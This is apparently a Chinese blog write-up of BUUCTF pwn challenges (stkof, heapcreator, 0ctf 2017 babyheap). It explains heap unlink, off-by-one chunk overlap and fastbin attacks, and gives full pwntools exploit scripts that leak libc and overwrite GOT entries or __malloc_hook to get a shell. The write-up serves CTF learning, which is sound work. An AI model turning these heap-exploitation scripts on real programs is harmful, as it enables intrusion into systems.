buuctf中的一些pwn题总结(不断更新)

前言: 本文记录一些buuctf中不是很典型,但是仍然值得记录的pwn题,以便于查看。
0x00:stkof——unlink 查看保护 buuctf中的一些pwn题总结(不断更新)
文章图片

查看IDA伪代码 增
buuctf中的一些pwn题总结(不断更新)
文章图片

自定义size,使用malloc分配。

buuctf中的一些pwn题总结(不断更新)
文章图片

free之后直接置空,难以利用。

buuctf中的一些pwn题总结(不断更新)
文章图片

重点来到改中,这里可以随意输入大小,然后根据输入的大小来为堆块中填入数据。这样就造成了堆溢出漏洞。
解题思路 由于此题存在堆溢出漏洞,我们又掌控着heap地址的存在位置,这样我们很容易就想到unlink漏洞来控制堆块。
由于程序本身的原因,我们先malloc一个堆块,这样就可以把程序本身需要申请的输入输出流堆块给申请出来(看了ctfwiki得知)
解决掉这麻烦后,我们就直接来用unlink漏洞来把堆块劫持到heap地址存在的位置0x602140处。

new(0x100) new(0x30) new(0x80) payload = p64(0) + p64(0x21) + p64(heap + 16- 0x18) + p64(heap + 16 - 0x10) payload += p64(0x20) payload = payload.ljust(0x30, 'a') payload += p64(0x30) + p64(0x90) read(2, len(payload), payload) delete(3)

这是一组典型的unlink利用代码,可以把堆块劫持到heap地址存在 - 8处。
这样我们就把chunk2劫持到了heap地址存在处附近。
达到这一步,我们就很容易的可以直接把got表中的信息泄露出来,甚至可以随意修改他们。
payload = 'a' * 0x8 + p64(elf.got['free']) + p64(elf.got['puts']) + p64(elf.got['atoi']) read(2, len(payload), payload)

buuctf中的一些pwn题总结(不断更新)
文章图片

把这些got写到这里后,我们就可以对他们进行操作了。
由于此题没有泄露的函数,我们只能通过修改free_got为puts_plt,这样删函数就变成了查函数了,我们delete(1)就会泄露puts_got的真正地址。
接下来就可以直接修改atoi_got为system函数基址了。
完整exp:
#! /usr/bin/env python from pwn import *p = process('./stkof') #p = remote('node3.buuoj.cn', 27616) elf = ELF('./stkof') libc = ELF('./libc.so.6') heap = 0x602140def new(size): p.sendline('1') p.sendline(str(size))def read(index, size, content): p.sendline('2') p.sendline(str(index)) p.sendline(str(size)) p.sendline(str(content))def delete(index): p.sendline('3') p.sendline(str(index))new(0x100) new(0x30) new(0x80) payload = p64(0) + p64(0x21) + p64(heap + 16- 0x18) + p64(heap + 16 - 0x10) payload += p64(0x20) payload = payload.ljust(0x30, 'a') payload += p64(0x30) + p64(0x90) read(2, len(payload), payload) delete(3) p.recvuntil('OK\n')payload = 'a' * 0x8 + p64(elf.got['free']) + p64(elf.got['puts']) + p64(elf.got['atoi']) read(2, len(payload), payload) gdb.attach(p) pause() read(0, 0x8, p64(elf.plt['puts'])) delete(1) puts = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) print hex(puts) libc_base = puts - libc.sym['puts'] system = libc.sym['system'] + libc_base binsh = libc.search('/bin/sh').next() + libc_baseread(2, 0x8, p64(system)) #p.recvuntil('OK\n') p.sendline('/bin/sh\x00') p.interactive()

0x01:hitcontraining_heapcreator——overlap 查看保护 buuctf中的一些pwn题总结(不断更新)
文章图片

IDA查看伪代码 增
buuctf中的一些pwn题总结(不断更新)
文章图片

查看伪代码后发现,程序首先会malloc一个0x21的堆块,用来存储堆块的地址,然后我们就可以自己输入任意大小的堆块,然后输入数据。
在本地调试中,申请一块0x21大小,截取到一些数据:
0x603000: 0x0000000000000000 0x0000000000000021 0x603010: 0x0000000000000014 0x0000000000603030 0x603020: 0x0000000000000000 0x0000000000000021 0x603030: 0x000000000a616161 0x0000000000000000 0x603040: 0x0000000000000000 0x0000000000020fc1

从数据来看,我们发现的确是我们想得那样。

buuctf中的一些pwn题总结(不断更新)
文章图片

删除函数写的很好,很难进行利用。

buuctf中的一些pwn题总结(不断更新)
文章图片

改函数需要我们输入一个index,然后对其进行修改,我们发现,在改函数中,我们可以多输入一个字节。
这样我们就可以利用off by one。

buuctf中的一些pwn题总结(不断更新)
文章图片

输入index进行查询,可以用来泄露一些东西。
解题思路 我们发现可以利用off by one来进行overlap。
我们首先申请两个0x21大小的堆块,然后对进行chunk0进行修改。
new(0x18, 'aaa') new(0x10, 'bbb') payload = '/bin/sh\x00' + 'a' * 0x10 + '\x41' edit(0, payload)

我们通过本地调试,截取到下面数据:
0x0000000000000000 0x0000000000000021 0x1ed8010: 0x0000000000000018 0x0000000001ed8030 0x1ed8020: 0x0000000000000000 0x0000000000000021 0x1ed8030: 0x0068732f6e69622f 0x6161616161616161 0x1ed8040: 0x6161616161616161 0x0000000000000041 0x1ed8050: 0x0000000000000010 0x0000000001ed8070 0x1ed8060: 0x0000000000000000 0x0000000000000021 0x1ed8070: 0x0000000000626262 0x0000000000000000 0x1ed8080: 0x0000000000000000 0x0000000000020f81

我们把保存堆地址的堆的size改为了0x41,接下来我们就直接删除这一堆块。
老pwn都知道,我们删除的堆块并不会消失不见,并且当我们再次申请一块相同大小的堆块时,堆块就会申请到这里来,这正是我们要利用的点。
我们再次申请:
delete(1) new(0x30, 'ccc')

我们本地调试,截取到一些数据:
0x10fe000: 0x0000000000000000 0x0000000000000021 0x10fe010: 0x0000000000000018 0x00000000010fe030 0x10fe020: 0x0000000000000000 0x0000000000000021 0x10fe030: 0x0068732f6e69622f 0x6161616161616161 0x10fe040: 0x6161616161616161 0x0000000000000041 0x10fe050: 0x0000000000636363 0x00000000010fe070 0x10fe060: 0x0000000000000000 0x0000000000000021 0x10fe070: 0x0000000000000030 0x00000000010fe050 0x10fe080: 0x0000000000000000 0x0000000000020f81

我们发现我们可以写的堆居然到存地址堆的前面,其实这也是利用了堆分配机制。
有了这样的堆块,我们就可以直接改写堆指针。
这样我们就可以先泄露数据,再改写got表。
完整exp
#! /usr/bin/env python from pwn import *p = process('./heapcreator') #p = remote('node3.buuoj.cn', 27707) elf = ELF('./heapcreator') libc = ELF('./libc.so.6')def new(size, content): p.sendlineafter('Your choice :', '1') p.sendlineafter('Size of Heap : ', str(size)) p.sendafter('Content of heap:', content)def edit(index, content): p.sendlineafter('Your choice :', '2') p.sendlineafter('Index :', str(index)) p.sendafter('Content of heap : ', content)def show(index): p.sendlineafter('Your choice :', '3') p.sendlineafter('Index :', str(index))def delete(index): p.sendlineafter('Your choice :', '4') p.sendlineafter('Index :', str(index))new(0x18, 'aaa') new(0x10, 'bbb') payload = '/bin/sh\x00' + 'a' * 0x10 + '\x41' edit(0, payload) delete(1) new(0x30, 'ccc') payload = 'c' * 0x10 + p64(0) + p64(0x21) + p64(0x30) + p64(elf.got['free']) edit(1, payload) show(1) free = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) print hex(free) libc_base = free - libc.sym['free'] system = libc_base + libc.sym['system'] edit(1, p64(system)) delete(0) p.interactive()

0x02:0ctf_2017_babyheap 查看保护 buuctf中的一些pwn题总结(不断更新)
文章图片

IDA查看伪代码 题目有四个功能,增删改查。

buuctf中的一些pwn题总结(不断更新)
文章图片

先输入size,然后程序会用calloc来申请堆块,而calloc申请的时候,会先清空堆块,这样就不好泄露什么东西了。

buuctf中的一些pwn题总结(不断更新)
文章图片

输入index后,地址全部置空,并不好利用起来。

buuctf中的一些pwn题总结(不断更新)
文章图片

输入index后我们可以输入size来改写堆块内容,这样我们就可以用此来进行堆溢出。

buuctf中的一些pwn题总结(不断更新)
文章图片

中规中矩,输入index后查询content。
解题思路 题目使用calloc,存在堆溢出漏洞。
我们第一步需要泄露libc基址,然后我们就劫持malloc_hook,改写为one_gadget使得getshell。
第一步:泄露libc基址
由于本题采用calloc,并且free堆块全部置空,我们并不是很容易就可以泄露出unsortedbin中的main_arena。我们需要构造一番。
new(0x60)#chunk0 new(0x40)#chunk1 payload = 'a' * 0x60 + p64(0) + p64(0x71)#我们溢出0x10,改写chunk1的堆块大小 edit(0, len(payload), payload) new(0x100)#chunk2 payload = 'a' * 0x10 + p64(0) + p64(0x71)#构造0x71,绕过检测 edit(2, 0x20, payload) delete(1) new(0x60)#new chunk1 edit(1, 0x50, 'a' * 0x40 + p64(0) + p64(0x111)) new(0x50)#chunk3 防止堆块与topchunk合并 delete(2)

我们改写堆块size位,使得堆块堆叠,达到泄露main_arena的目的。
0x55fb28f1a000: 0x0000000000000000 0x0000000000000071#chunk0 0x55fb28f1a010: 0x6161616161616161 0x6161616161616161 0x55fb28f1a020: 0x6161616161616161 0x6161616161616161 0x55fb28f1a030: 0x6161616161616161 0x6161616161616161 0x55fb28f1a040: 0x6161616161616161 0x6161616161616161 0x55fb28f1a050: 0x6161616161616161 0x6161616161616161 0x55fb28f1a060: 0x6161616161616161 0x6161616161616161 0x55fb28f1a070: 0x0000000000000000 0x0000000000000071#chunk1 0x55fb28f1a080: 0x6161616161616161 0x6161616161616161 0x55fb28f1a090: 0x6161616161616161 0x6161616161616161 0x55fb28f1a0a0: 0x6161616161616161 0x6161616161616161 0x55fb28f1a0b0: 0x6161616161616161 0x6161616161616161 0x55fb28f1a0c0: 0x0000000000000000 0x0000000000000111#chunk2 0x55fb28f1a0d0: 0x00007feaf0028b78 0x00007feaf0028b78 0x55fb28f1a0e0: 0x0000000000000000 0x0000000000000071#fake chunk2 0x55fb28f1a0f0: 0x0000000000000000 0x0000000000000000 0x55fb28f1a100: 0x0000000000000000 0x0000000000000000

做完这些步骤后,我们发现chunk1可以泄露0x60大小的数据,而正好包括了chunk2的main_arena地址。
之后就很容易的的到libcbase了。
第二步:劫持malloc_hook
delete(1) payload = 'a' * 0x60 + p64(0) + p64(0x71) + p64(malloc_hook - 0x13 - 0x10) edit(0, len(payload), payload) new(0x60) new(0x60) payload = '\x00' * 0x3 + p64(0) + p64 (0) + p64(libc_base + 0x4526a) edit(2, len(payload), payload)

这里就只是利用了简单的fastbin attack,改写fd指针后,我们申请两次0x60大小的堆块,在malloc_hook - 0x23处找到0x7f,绕过fastbin申请的检测,然后将malloc_hook指针处改写为one_gadget。
之后再申请一次,直接getshell。
完整exp
#! /usr/bin/env python from pwn import *p = process('./0ctf_2017_babyheap') #p = remote('node3.buuoj.cn', 25229) elf = ELF('./0ctf_2017_babyheap') libc = ELF('./libc.so.6')def new(size): p.sendlineafter('Command: ', '1') p.sendlineafter('Size: ', str(size))def edit(index, size, content): p.sendlineafter('Command: ', '2') p.sendlineafter('Index: ', str(index)) p.sendlineafter('Size: ', str(size)) p.sendlineafter('Content: ', content)def delete(index): p.sendlineafter('Command: ', '3') p.sendlineafter('Index: ', str(index))def show(index): p.sendlineafter('Command: ', '4') p.sendlineafter('Index: ', str(index))new(0x60) new(0x40) payload = 'a' * 0x60 + p64(0) + p64(0x71) edit(0, len(payload), payload) new(0x100) payload = 'a' * 0x10 + p64(0) + p64(0x71) edit(2, 0x20, payload) delete(1) new(0x60) edit(1, 0x50, 'a' * 0x40 + p64(0) + p64(0x111)) new(0x50) delete(2) show(1) main_arena = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) print hex(main_arena) malloc_hook = main_arena - 0x68 libc_base = malloc_hook - libc.sym['__malloc_hook'] delete(1) payload = 'a' * 0x60 + p64(0) + p64(0x71) + p64(malloc_hook - 0x13 - 0x10) edit(0, len(payload), payload) new(0x60) new(0x60) payload = '\x00' * 0x3 + p64(0) + p64 (0) + p64(libc_base + 0x4526a) edit(2, len(payload), payload) new(0x60) p.interactive()

【buuctf中的一些pwn题总结(不断更新)】未完待续。。。
0x03:ciscn_2019_final_2——tcache下的堆利用

    推荐阅读